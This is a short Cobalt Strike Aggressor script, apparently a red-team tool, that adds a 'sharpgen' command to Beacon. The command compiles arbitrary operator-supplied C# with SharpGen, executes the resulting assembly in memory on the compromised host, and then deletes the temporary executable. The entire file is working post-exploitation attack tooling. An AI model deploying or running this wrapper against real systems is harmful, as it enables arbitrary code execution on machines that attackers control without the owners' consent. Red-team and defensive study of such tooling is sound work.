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SharpGen Aggressor Beacon Wrapper
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$dotnetpath = "/usr/local/share/dotnet/dotnet"; | |
$sharpgenpath = "/Users/dtmsecurity/Tools/SharpGen/bin/Debug/netcoreapp2.1/SharpGen.dll"; | |
$temppath = "/tmp/"; | |
beacon_command_register("sharpgen", "Compile and execute C-Sharp","Synopsis: sharpgen [code]\n"); | |
alias sharpgen{ | |
$executionId = "sharpgen_" . int(rand() * 100000); | |
$temporaryCsharp = $temppath . $executionId . ".cs"; | |
$executableFilename = $temppath . $executionId . ".exe"; | |
$code = replace($0, "sharpgen ", ""); | |
$escaped = replace($code, '"', '\"'); | |
@command = @($dotnetpath,$sharpgenpath,'-f',$executableFilename,$escaped); | |
$proc = exec(@command); | |
@data = readAll($proc); | |
$success = 0; | |
foreach $value (@data){ | |
blog2($1, $value); | |
if('Compiled assembly written' isin $value){ | |
$success = 1; | |
bexecute_assembly($1, $executableFilename); | |
sleep(1000); | |
deleteFile($executableFilename); | |
} | |
} | |
if($success == 0){ | |
blog2($1, "Error compiling with SharpGen"); | |
} | |
} |
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